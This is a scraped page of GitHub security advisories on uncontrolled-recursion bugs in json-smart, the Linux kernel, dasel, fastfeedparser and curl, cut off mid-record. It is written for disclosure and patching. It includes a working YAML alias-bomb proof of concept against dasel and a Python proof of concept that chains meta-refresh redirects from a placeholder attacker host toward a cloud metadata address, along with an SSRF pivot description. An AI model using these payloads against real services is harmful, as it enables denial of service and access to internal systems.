Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "net.minidev:json-smart"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-1370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-23T20:32:03Z",
    "nvd_published_at": "2023-03-22T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAffected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.\n\nWhen reaching a \u2018[\u2018 or \u2018{\u2018 character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.\n\n### Patches\nThis vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.\n\n### Workarounds\nN/A\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-1370\n- https://nvd.nist.gov/vuln/detail/CVE-2023-1370\n- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748",
  "id": "GHSA-493p-pfq6-5258",
  "modified": "2026-08-04T22:06:15Z",
  "published": "2023-03-23T20:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/issues/137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/commit/5b3205d051952d3100aa0db1535f6ba6226bd87a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/commit/e2791ae506a57491bc856b439d706c81e45adcf8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oswaldobapvicjr/jsonmerge"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0006"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-1370"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "json-smart Uncontrolled Recursion vulnerability"
}

GHSA-4CX5-6RWV-F35M

Vulnerability from github – Published: 2026-05-28 12:30 – Updated: 2026-06-10 21:31

Details

In the Linux kernel, the following vulnerability has been resolved:

drm/amdgpu/vcn4: Avoid overflow on msg bound check

As pointed out by SDL, the previous condition may be vulnerable to overflow.

(cherry picked from commit 3c5367d950140d4ec7af830b2268a5a6fdaa3885)

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-46217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T10:16:37Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu/vcn4: Avoid overflow on msg bound check\n\nAs pointed out by SDL, the previous condition may be vulnerable to\noverflow.\n\n(cherry picked from commit 3c5367d950140d4ec7af830b2268a5a6fdaa3885)",
  "id": "GHSA-4cx5-6rwv-f35m",
  "modified": "2026-06-10T21:31:25Z",
  "published": "2026-05-28T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46217"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/271cd5429513ff9b364a9bf8903e5b65b687eb25"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/30d12ee310a6024ff4c7b9eafdbbeab2db450d4a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5bb5faff4837b1d98fd655cf8bd7b5d4da0fc4dc"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/65bce27ea6192320448c30267ffc17ffa094e713"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/73043d296787bf187d89ffb5c5dcf5bdc3db7885"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f7bf02dcb7c76229ea8ace11b7d0d0c7b87ee57e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4FCP-JXH7-23X8

Vulnerability from github – Published: 2026-03-19 12:50 – Updated: 2026-03-25 21:35

Summary

Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service

Details

Summary

dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own UnmarshalYAML implementation, which manually resolves alias nodes by recursively following yaml.Node.Alias pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.

The issue issue is on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on the current default branch at commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. It is also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.

Details

In v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8), the reachable call path is:

The YAML reader is registered in parsing/yaml/yaml.go and exposed via parsing.Format("yaml").NewReader()
(*yamlReader).Read in parsing/yaml/yaml_reader.go#L23-L48 uses yaml.NewDecoder to decode the input. Because yamlValue implements UnmarshalYAML(*yaml.Node), the decoder passes the raw *yaml.Node tree to that custom unmarshaler
(*yamlValue).UnmarshalYAML in parsing/yaml/yaml_reader.go#L57-L131 walks the Node tree
When an AliasNode is encountered, the handler at parsing/yaml/yaml_reader.go#L119-L126 recursively calls newVal.UnmarshalYAML(value.Alias) without tracking expansion count

The root cause is that go-yaml v4 has two decoding paths:

Unmarshal into Go values: Tracks alias expansion count and rejects documents with excessive aliasing ("yaml: document contains excessive aliasing").
Decode into yaml.Node / custom UnmarshalYAML: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.

Dasel receives the compact Node tree via its UnmarshalYAML(*yaml.Node) hook and then recursively follows value.Alias pointers, re-expanding aliases without a budget:

case yaml.AliasNode:
    newVal := &yamlValue{}
    if err := newVal.UnmarshalYAML(value.Alias); err != nil {
        return err
    }
    yv.value = newVal.value
    yv.value.SetMetadataValue("yaml-alias", value.Value)

With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.

Test environment:

MacBook Air (Apple M2), macOS / Darwin arm64
Go 1.26.1
dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)
go.yaml.in/yaml/v4 v4.0.0-rc.3

PoC

package main

import (
    "fmt"
    "runtime"
    "time"

    "github.com/tomwright/dasel/v3/parsing"
    _ "github.com/tomwright/dasel/v3/parsing/yaml"
    "go.yaml.in/yaml/v4"
)

func main() {
    payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
`

    fmt.Printf("Payload size: %d bytes\n", len(payload))
    fmt.Printf("Go version: %s\n", runtime.Version())
    fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
    fmt.Println()

    // 1. go-yaml v4 Unmarshal correctly rejects this
    fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===")
    {
        var v interface{}
        start := time.Now()
        err := yaml.Unmarshal([]byte(payload), &v)
        elapsed := time.Since(start)
        if err != nil {
            fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err)
        } else {
            fmt.Printf("VULNERABLE: Completed in %v\n", elapsed)
        }
    }
    fmt.Println()

    // 2. Dasel's YAML reader is vulnerable
    fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===")
    done := make(chan string, 1)
    go func() {
        reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions())
        if err != nil {
            done <- fmt.Sprintf("Error creating reader: %v", err)
            return
        }
        start := time.Now()
        _, err = reader.Read([]byte(payload))
        elapsed := time.Since(start)
        if err != nil {
            done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
        } else {
            done <- fmt.Sprintf("Completed in %v", elapsed)
        }
    }()

    select {
    case result := <-done:
        fmt.Println(result)
    case <-time.After(5 * time.Second):
        fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress")
    }
}

Observed output on v3.3.1 in the test environment above:

Payload size: 342 bytes
Go version: go1.26.1
GOARCH: arm64

=== Test 1: Direct yaml.Unmarshal (should be rejected) ===
SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing

=== Test 2: Dasel YAML reader (VULNERABLE) ===
CONFIRMED: did not complete within 5s; unbounded alias expansion in progress

Impact

An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own UnmarshalYAML handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.

This affects: - CLI usage: when reading YAML from stdin or files via the CLI - Library usage: any application using dasel's YAML reader to parse untrusted YAML - The parse("yaml", ...) function in selectors

Suggested Fix

One likely fix is to add an alias expansion counter to UnmarshalYAML that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

Severity

6.2 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tomwright/dasel/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33320"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:50:57Z",
    "nvd_published_at": "2026-03-24T01:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`dasel`\u0027s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library\u0027s own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4\u0027s built-in alias expansion limit.\n\nThe issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.\n\n### Details\n\nIn `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is:\n\n- The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format(\"yaml\").NewReader()`\n- `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler\n- `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree\n- When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count\n\nThe root cause is that go-yaml v4 has two decoding paths:\n\n1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`\"yaml: document contains excessive aliasing\"`).\n2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.\n\nDasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget:\n\n```go\ncase yaml.AliasNode:\n    newVal := \u0026yamlValue{}\n    if err := newVal.UnmarshalYAML(value.Alias); err != nil {\n        return err\n    }\n    yv.value = newVal.value\n    yv.value.SetMetadataValue(\"yaml-alias\", value.Value)\n```\n\nWith a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n- go.yaml.in/yaml/v4 `v4.0.0-rc.3`\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/parsing\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/yaml\"\n\t\"go.yaml.in/yaml/v4\"\n)\n\nfunc main() {\n\tpayload := `a: \u0026a [\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\"]\nb: \u0026b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\nc: \u0026c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\nd: \u0026d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\ne: \u0026e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\nf: \u0026f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\ng: \u0026g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\nh: \u0026h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\ni: \u0026i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\n`\n\n\tfmt.Printf(\"Payload size: %d bytes\\n\", len(payload))\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\t// 1. go-yaml v4 Unmarshal correctly rejects this\n\tfmt.Println(\"=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\")\n\t{\n\t\tvar v interface{}\n\t\tstart := time.Now()\n\t\terr := yaml.Unmarshal([]byte(payload), \u0026v)\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"SAFE: Rejected in %v: %v\\n\", elapsed, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"VULNERABLE: Completed in %v\\n\", elapsed)\n\t\t}\n\t}\n\tfmt.Println()\n\n\t// 2. Dasel\u0027s YAML reader is vulnerable\n\tfmt.Println(\"=== Test 2: Dasel YAML reader (VULNERABLE) ===\")\n\tdone := make(chan string, 1)\n\tgo func() {\n\t\treader, err := parsing.Format(\"yaml\").NewReader(parsing.DefaultReaderOptions())\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error creating reader: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tstart := time.Now()\n\t\t_, err = reader.Read([]byte(payload))\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t} else {\n\t\t\tdone \u003c- fmt.Sprintf(\"Completed in %v\", elapsed)\n\t\t}\n\t}()\n\n\tselect {\n\tcase result := \u003c-done:\n\t\tfmt.Println(result)\n\tcase \u003c-time.After(5 * time.Second):\n\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; unbounded alias expansion in progress\")\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nPayload size: 342 bytes\nGo version: go1.26.1\nGOARCH: arm64\n\n=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\nSAFE: Rejected in 824.042\u00b5s: yaml: document contains excessive aliasing\n\n=== Test 2: Dasel YAML reader (VULNERABLE) ===\nCONFIRMED: did not complete within 5s; unbounded alias expansion in progress\n```\n\n### Impact\n\nAn attacker who can supply YAML for processing by dasel can cause denial of service. The library\u0027s own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.\n\nThis affects:\n- CLI usage: when reading YAML from stdin or files via the CLI\n- Library usage: any application using dasel\u0027s YAML reader to parse untrusted YAML\n- The `parse(\"yaml\", ...)` function in selectors\n\n### Suggested Fix\n\nOne likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4\u0027s internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).",
  "id": "GHSA-4fcp-jxh7-23x8",
  "modified": "2026-03-25T21:35:31Z",
  "published": "2026-03-19T12:50:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-4fcp-jxh7-23x8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33320"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TomWright/dasel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service"
}

GHSA-4GX2-PC4F-WQ37

Vulnerability from github – Published: 2026-04-08 00:12 – Updated: 2026-06-06 00:24

Summary

FastFeedParser has an infinite redirect loop DoS via meta-refresh chain

Details

Summary

When parse() fetches a URL that returns an HTML page containing a <meta http-equiv="refresh"> tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.

Details

parse() catches ValueError on XML parse failure, extracts a meta-refresh URL from the HTML response via _extract_meta_refresh_url(), and tail-calls itself with that URL. The recursive call is unconditional — there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.

fastfeedparser/main.py — parse() (recursive sink):

def parse(source: str | bytes, ...) -> FastFeedParserDict:
    is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
    if is_url:
        content = _fetch_url_content(source)
    try:
        return _parse_content(content, ...)
    except ValueError as e:
        ...
        redirect_url = _extract_meta_refresh_url(content, source)
        if redirect_url is None:
            raise
        return parse(redirect_url, ...)   # ← unconditional recursion, no depth limit

_extract_meta_refresh_url() uses urljoin(base_url, match.group(1)) so relative, protocol-relative (//host/path), and absolute URLs in the content= attribute are all followed.

PoC

No live server required. The following monkeypatches _fetch_url_content to return an infinite HTML meta-refresh chain and confirms unbounded recursion:

import fastfeedparser.main as m

call_count = 0
_orig = m._fetch_url_content

def mock_fetch(url):
    global call_count
    call_count += 1
    if call_count > 10:
        raise RuntimeError(f"Stopped at call {call_count}")
    next_url = f"http://169.254.169.254/step{call_count}/"
    return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()

m._fetch_url_content = mock_fetch

try:
    m.parse("http://attacker.com/loop")
except RuntimeError as e:
    print(f"CONFIRMED infinite loop: {e}")
finally:
    m._fetch_url_content = _orig
    print(f"Total fetches before stop: {call_count}")

# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11

Each recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python's default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a RecursionError is raised.

SSRF chain variant: The first response can be legitimate HTML redirecting to an internal address (http://192.168.1.1/), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.

Impact

This is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls fastfeedparser.parse() is affected — including RSS aggregators, feed preview services, and "subscribe by URL" features. An attacker with no authentication can:

Hold a server worker thread indefinitely (one request per attacker connection)
Crash the worker process via RecursionError after ~1000 redirects
Use the redirect chain to pivot SSRF requests to internal network targets

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.9"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fastfeedparser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:12:26Z",
    "nvd_published_at": "2026-04-07T20:16:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen `parse()` fetches a URL that returns an HTML page containing a `\u003cmeta http-equiv=\"refresh\"\u003e` tag, it recursively calls itself with the redirect URL \u2014 with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.\n\n\n### Details\n`parse()` catches `ValueError` on XML parse failure, extracts a meta-refresh URL from the HTML response via `_extract_meta_refresh_url()`, and tail-calls itself with that URL. The recursive call is unconditional \u2014 there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.\n\n**`fastfeedparser/main.py` \u2014 `parse()` (recursive sink):**\n```python\ndef parse(source: str | bytes, ...) -\u003e FastFeedParserDict:\n    is_url = isinstance(source, str) and source.startswith((\"http://\", \"https://\"))\n    if is_url:\n        content = _fetch_url_content(source)\n    try:\n        return _parse_content(content, ...)\n    except ValueError as e:\n        ...\n        redirect_url = _extract_meta_refresh_url(content, source)\n        if redirect_url is None:\n            raise\n        return parse(redirect_url, ...)   # \u2190 unconditional recursion, no depth limit\n```\n\n`_extract_meta_refresh_url()` uses `urljoin(base_url, match.group(1))` so relative, protocol-relative (`//host/path`), and absolute URLs in the `content=` attribute are all followed.\n\n### PoC\nNo live server required. The following monkeypatches `_fetch_url_content` to return an infinite HTML meta-refresh chain and confirms unbounded recursion:\n\n```python\nimport fastfeedparser.main as m\n\ncall_count = 0\n_orig = m._fetch_url_content\n\ndef mock_fetch(url):\n    global call_count\n    call_count += 1\n    if call_count \u003e 10:\n        raise RuntimeError(f\"Stopped at call {call_count}\")\n    next_url = f\"http://169.254.169.254/step{call_count}/\"\n    return f\"\"\"\u003chtml\u003e\u003chead\u003e\n\u003cmeta http-equiv=\"refresh\" content=\"0; url={next_url}\"\u003e\n\u003c/head\u003e\u003cbody\u003enot a feed\u003c/body\u003e\u003c/html\u003e\"\"\".encode()\n\nm._fetch_url_content = mock_fetch\n\ntry:\n    m.parse(\"http://attacker.com/loop\")\nexcept RuntimeError as e:\n    print(f\"CONFIRMED infinite loop: {e}\")\nfinally:\n    m._fetch_url_content = _orig\n    print(f\"Total fetches before stop: {call_count}\")\n\n# Output:\n# CONFIRMED infinite loop: Stopped at call 11\n# Total fetches before stop: 11\n```\n\nEach recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python\u0027s default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a `RecursionError` is raised.\n\n**SSRF chain variant:** The first response can be legitimate HTML redirecting to an internal address (`http://192.168.1.1/`), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.\n\n\n\n### Impact\nThis is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls `fastfeedparser.parse()` is affected \u2014 including RSS aggregators, feed preview services, and \"subscribe by URL\" features. An attacker with no authentication can:\n\n- Hold a server worker thread indefinitely (one request per attacker connection)\n- Crash the worker process via `RecursionError` after ~1000 redirects\n- Use the redirect chain to pivot SSRF requests to internal network targets",
  "id": "GHSA-4gx2-pc4f-wq37",
  "modified": "2026-06-06T00:24:06Z",
  "published": "2026-04-08T00:12:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39376"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kagisearch/fastfeedparser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastfeedparser/PYSEC-2026-60.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FastFeedParser has an infinite redirect loop DoS via meta-refresh chain"
}

GHSA-4P2H-JGGV-23JG

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2024-03-27 18:32

Details

curl 7.21.0 to and including 7.73.0 is vulnerable to uncontrolled recursion due to a stack overflow issue in FTP wildcard match parsing.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2020-8285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-14T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "curl 7.21.0 to and including 7.73.0 is vulnerable to uncontrolled recursion due to a stack overflow issue in FTP wildcard match parsing.",
  "id": "GHSA-4p2h-jggv-23jg",
  "modified": "2024-03-27T18:32:37Z",
  "published": "2022-05-24T17:36:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/curl/curl/issues/6255"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1045844"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4881"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212327"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212326"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212325"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210122-0007"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202012-14"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NZUVSQHN2ESHMJXNQ2Z7T2EELBB5HJXG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAEHE2S2QLO4AO4MEEYL75NB7SAH5PSL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NZUVSQHN2ESHMJXNQ2Z7T2EELBB5HJXG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DAEHE2S2QLO4AO4MEEYL75NB7SAH5PSL"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00029.html"
    },
    {
      "type": "WEB",
